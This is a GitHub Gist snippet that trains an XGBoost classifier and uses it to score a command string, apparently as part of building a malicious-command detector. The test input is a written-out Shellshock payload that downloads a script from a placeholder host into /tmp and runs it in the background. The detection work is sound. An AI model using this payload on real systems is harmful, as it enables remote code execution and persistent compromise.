Last active
September 21, 2022 06:55
-
-
Save dtrizna/18899adb74f8be9e670d8c6a5c3f0886 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from xgboost import XGBClassifier | |
xgb_model = XGBClassifier(n_estimators=100, use_label_encoder=False, eval_metric="logloss") | |
xgb_model.fit( | |
X["HashingVectorizer"], y | |
) | |
shellshock_backdoor = "() { :;}; /bin/bash -c 'curl -O /tmp/foo.sh example.com/test; nohup bash /tmp/foo.sh &'" | |
print(xgb_model.predict_proba( | |
hvwpt.transform([shellshock_backdoor]) | |
)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment